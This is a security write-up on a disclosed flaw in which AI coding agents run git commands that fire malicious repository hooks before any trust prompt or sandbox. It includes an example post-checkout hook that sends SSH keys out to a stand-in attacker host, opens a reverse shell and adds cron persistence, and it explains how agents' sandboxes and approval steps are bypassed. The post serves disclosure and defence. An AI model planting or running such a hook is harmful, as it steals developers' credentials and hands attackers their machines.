AI coding agents run git status before you type anything. Before the workspace-trust prompt. On some agents, before you authenticate. If that folder came from somewhere else, the repository decides what that command runs.
Manifold Security disclosed eight findings across seven AI coding agents (Claude Code, Cursor, OpenAI Codex, Grok Build, Hermes, Goose, Qwen Code). Four remain unpatched at publication. The attack surface is Git's client-side hook mechanism, a feature designed for developer automation that becomes a privilege escalation vector when agents treat repositories as trusted data sources.
The Attack Surface
Git client-side hooks are executable scripts stored in .git/hooks/. They run automatically during specific Git operations:
-
post-checkoutfires aftergit checkoutorgit clone -
post-mergefires aftergit pullorgit merge -
pre-commitfires beforegit commit
These hooks execute with the same privileges as the user running the Git command. No confirmation prompt. No sandboxing. The repository controls the code.
AI coding agents use Git commands to gather context about the workspace. They run git status, git log, git diff, and git clone to understand file history, branch state, and uncommitted changes. This happens in the background, often before the user has interacted with the agent.
The vulnerability: agents execute these Git commands without isolating hook execution or validating repository metadata first.
Execution Flow
Here is what happens when an AI coding agent opens a malicious repository:
- User opens a folder containing a Git repository (or the agent clones one)
- Agent runs
git statusorgit checkoutto gather context - Git executes
.git/hooks/post-checkoutor similar hook - Malicious script runs arbitrary code as the developer
- Attacker gains SSH keys, cloud credentials, tokens, and a foothold on the machine
The agent never sees the hook execution. The user never sees a prompt. The LLM never makes a decision about whether to run the code.
Example malicious post-checkout hook:
#!/bin/bash
# .git/hooks/post-checkout
# Exfiltrate SSH keys
curl -X POST https://attacker.example.com/exfil \
-d "keys=$(cat ~/.ssh/id_rsa | base64)"
# Establish reverse shell
bash -i >& /dev/tcp/attacker.example.com/4444 0>&1
# Persist via cron
(crontab -l 2>/dev/null; echo "@reboot /tmp/backdoor.sh") | crontab -
This script runs before the agent processes any user input. It runs outside any sandbox the agent might use for code execution. It runs with full access to the developer's environment.
Why Sandboxing Fails
You might expect Docker or WASM sandboxes to prevent this. They do not.
Git hooks execute in the host environment, not inside the sandbox. The agent orchestration layer runs Git commands on the host to gather context before spinning up any isolated execution environment.
Even if the agent runs code inside a container, the Git operations that trigger hooks happen outside:
- The agent clones the repository on the host
- Git executes the
post-checkouthook on the host - The agent then mounts the repository into a container
The hook has already run by the time the sandbox exists.
Agent Trust Boundaries
AI coding agents have multiple trust boundaries. The GitSpawn vulnerability shows where they break.
| Boundary | Expected Behavior | Actual Behavior |
|---|---|---|
| Repository metadata | Treated as untrusted data, validated before use | Treated as trusted, executed without validation |
| Git operations | Isolated from host environment | Run on host with full privileges |
| Workspace trust prompt | Shown before executing any repository code | Shown after Git hooks have already run |
| LLM tool calls | Subject to approval or sandboxing | Git commands bypass tool-call approval flow |
The root cause: agents assume Git operations are safe because they are not "executing code." But Git hooks are code, and they run automatically.
Affected Agents and Disclosure Status
Manifold Security reported findings to seven vendors. Here is the disclosure status as of publication:
- Claude Code: Reported, unpatched (77M+ npm downloads/month)
- Cursor: Reported, patched (duplicate report)
- OpenAI Codex: Reported, patched (duplicate report)
- Grok Build: Reported, unpatched (26K GitHub stars)
- Hermes: Reported, unpatched (237K GitHub stars)
- Goose: Reported, unpatched (54K GitHub stars)
- Qwen Code: Reported, status unknown (27K GitHub stars)
The combined reach is close to half a million GitHub stars plus tens of millions of monthly downloads.
Secure Clone Workflow
A secure Git clone workflow for AI coding agents requires validating repository metadata before executing any Git commands that might trigger hooks.
Step 1: Shallow clone with hooks disabled
git clone --no-checkout --no-hardlinks \
--config core.hooksPath=/dev/null \
https://untrusted.example.com/repo.git
The --no-checkout flag prevents Git from checking out files (and triggering post-checkout hooks). The core.hooksPath=/dev/null config disables all hooks.
Step 2: Inspect repository metadata
Before checking out files, inspect .git/hooks/, .gitmodules, and .gitattributes for malicious content:
- Scan hook scripts for suspicious commands (curl, wget, bash reverse shells)
- Check submodule URLs for non-HTTPS schemes or unexpected domains
- Validate
.gitattributesfilters (these can also execute arbitrary code)
Step 3: Prompt user for approval
Show the user what hooks, submodules, and filters exist. Let them decide whether to proceed.
Step 4: Checkout with hooks still disabled
git -c core.hooksPath=/dev/null checkout main
Only re-enable hooks if the user explicitly opts in.
Orchestration Layer Fixes
Agent orchestration layers need to treat Git operations as privileged tool calls, not background context-gathering.
Before:
# Agent gathers context automatically
repo_status = subprocess.run(["git", "status"], capture_output=True)
agent.add_context(repo_status.stdout)
After:
# Agent requests permission before running Git commands
if user.approves_git_operation("status"):
repo_status = subprocess.run(
["git", "-c", "core.hooksPath=/dev/null", "status"],
capture_output=True
)
agent.add_context(repo_status.stdout)
The orchestration layer must:
- Disable hooks by default for all Git operations
- Require explicit user approval before running Git commands on untrusted repositories
- Show the workspace trust prompt before any Git operations, not after
- Validate repository metadata before checkout
Observability Gaps
Most AI coding agents do not log Git hook execution. When a hook runs, there is no trace in the agent's logs, no event in the orchestration layer, and no signal to the user.
To detect this attack, you need host-level observability:
- Process monitoring: Watch for unexpected child processes spawned by Git
-
File integrity monitoring: Alert on changes to
.git/hooks/ - Network monitoring: Flag outbound connections from Git processes
- Audit logs: Record all Git operations with full command-line arguments
Without these signals, the attack is invisible to the agent and the user.
Technical Verdict
When to worry:
- You use AI coding agents to open repositories from untrusted sources (GitHub, email attachments, shared drives)
- Your agent runs Git commands automatically on workspace open
- You work with sensitive credentials (SSH keys, cloud tokens, API keys) in your environment
- You have not verified that your agent disables Git hooks by default
When you are safer:
- You only open repositories you control or have audited
- Your agent prompts before running any Git commands
- You run agents in ephemeral VMs or containers with no persistent credentials
- You have host-level monitoring that alerts on unexpected Git hook execution
Mitigation priority:
- Disable Git hooks globally:
git config --global core.hooksPath /dev/null - Audit your agent's Git command usage (check source code or network traffic)
- Use separate environments for untrusted repositories (no SSH keys, no cloud credentials)
- Wait for vendor patches before opening untrusted repositories in affected agents
This is not a theoretical attack. Four of the eight disclosed findings remain unpatched. The attack surface is structural: Git hooks are a feature, not a bug, and agents that treat repositories as data instead of code will continue to be vulnerable until they validate metadata before execution.
Top comments (0)